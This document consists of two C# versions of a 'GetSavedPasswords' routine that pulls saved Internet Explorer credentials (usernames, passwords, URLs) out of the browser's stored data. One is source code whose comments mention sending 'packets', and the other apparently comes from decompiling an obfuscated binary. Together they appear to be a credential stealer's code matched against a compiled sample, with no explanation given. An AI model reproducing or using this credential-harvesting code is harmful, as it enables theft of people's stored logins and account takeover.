public static List <RecoveredAccount> GetSavedPasswords() { List <RecoveredAccount> data = new List <RecoveredAccount>(); try { using (ExplorerUrlHistory ieHistory = new ExplorerUrlHistory()) { List <string[]> dataList = new List <string[]>(); foreach (STATURL item in ieHistory) { try { if (DecryptIePassword(item.UrlString, dataList)) { foreach (string[] loginInfo in dataList) { data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], Url = item.UrlString, Application = "InternetExplorer" }); } } } catch (Exception) { // TODO: Add packet sending for error } } } } catch (Exception) { // TODO: Add packet sending for error } return(data); }
// Token: 0x060004F0 RID: 1264 RVA: 0x000121A8 File Offset: 0x000103A8 public static List <GClass32> GetSavedPasswords() { List <GClass32> list = new List <GClass32>(); try { using (ExplorerUrlHistory explorerUrlHistory = new ExplorerUrlHistory()) { List <string[]> list2 = new List <string[]>(); foreach (STATURL staturl in explorerUrlHistory) { try { if (InternetExplorer.DecryptIePassword(staturl.UrlString, list2)) { foreach (string[] array in list2) { list.Add(new GClass32 { Username = array[0], Password = array[1], URL = staturl.UrlString, Application = "InternetExplorer" }); } } } catch (Exception) { } } } } catch (Exception) { } return(list); }